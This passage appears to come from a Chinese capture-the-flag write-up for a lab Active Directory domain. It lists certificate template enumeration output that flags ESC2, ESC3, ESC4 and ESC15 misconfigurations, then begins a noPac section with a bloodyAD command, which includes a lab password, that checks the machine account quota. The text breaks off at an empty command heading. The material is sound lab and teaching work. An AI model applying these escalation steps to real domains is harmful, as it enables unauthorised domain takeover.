      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
  18
    Template Name                       : CA
    Display Name                        : Root Certification Authority
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Private Key Flag                    : ExportableKey
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  19
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
  20
    Template Name                       : DomainController
    Display Name                        : Domain Controller
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDirectoryGuid
                                          SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Enterprise Read-only Domain Controllers
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Controllers
                                          LOOKBACK.HTB\Enterprise Admins
                                          LOOKBACK.HTB\Enterprise Domain Controllers
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
  21
    Template Name                       : Machine
    Display Name                        : Computer
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Computers
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
  22
    Template Name                       : MachineEnrollmentAgent
    Display Name                        : Enrollment Agent (Computer)
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  23
    Template Name                       : EnrollmentAgentOffline
    Display Name                        : Exchange Enrollment Agent (Offline request)
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  24
    Template Name                       : EnrollmentAgent
    Display Name                        : Enrollment Agent
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  25
    Template Name                       : CTLSigning
    Display Name                        : Trust List Signing
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Microsoft Trust List Signing
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  26
    Template Name                       : CodeSigning
    Display Name                        : Code Signing
    Enabled                             : False
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Code Signing
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  27
    Template Name                       : EFSRecovery
    Display Name                        : EFS Recovery Agent
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : File Recovery
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 5 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  28
    Template Name                       : Administrator
    Display Name                        : Administrator
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Microsoft Trust List Signing
                                          Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
  29
    Template Name                       : EFS
    Display Name                        : Basic EFS
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  30
    Template Name                       : SmartcardLogon
    Display Name                        : Smartcard Logon
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Extended Key Usage                  : Client Authentication
                                          Smart Card Logon
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  31
    Template Name                       : ClientAuth
    Display Name                        : Authenticated Session
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  32
    Template Name                       : SmartcardUser
    Display Name                        : Smartcard User
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
    Extended Key Usage                  : Secure Email
                                          Client Authentication
                                          Smart Card Logon
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  33
    Template Name                       : UserSignature
    Display Name                        : User Signature Only
    Enabled                             : False
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
  34
    Template Name                       : User
    Display Name                        : User
    Certificate Authorities             : lookback-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2025-10-19T13:52:34+00:00
    Template Last Modified              : 2025-10-19T13:52:34+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : LOOKBACK.HTB\Enterprise Admins
        Full Control Principals         : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Owner Principals          : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Dacl Principals           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Write Property Enroll           : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User Enrollable Principals      : LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Domain Users
                                          LOOKBACK.HTB\Enterprise Admins
    [+] User ACL Principals             : LOOKBACK.HTB\Enterprise Admins
    [!] Vulnerabilities
      ESC4                              : Template is owned by user.
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Bad Ending-NoPac&amp;amp;证书欺诈&lt;/h1&gt;
&lt;h2&gt;NoPac（CVE-2021-42278/42287）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;该环境具备域控和 MAQ，理论上可能触发 noPac&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Test&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; 为 &lt;strong&gt;10&lt;/strong&gt;，说明域环境允许普通用户创建机器账户&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD -u &amp;#39;IT-login-user&amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -d lookback.htb --host 172.16.55.128 get object &amp;#39;DC=lookback,DC=htb&amp;#39; --attr ms-DS-MachineAccountQuota

distinguishedName: DC=lookback,DC=htb
ms-DS-MachineAccountQuota: 10
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Command&lt;/h3&gt;
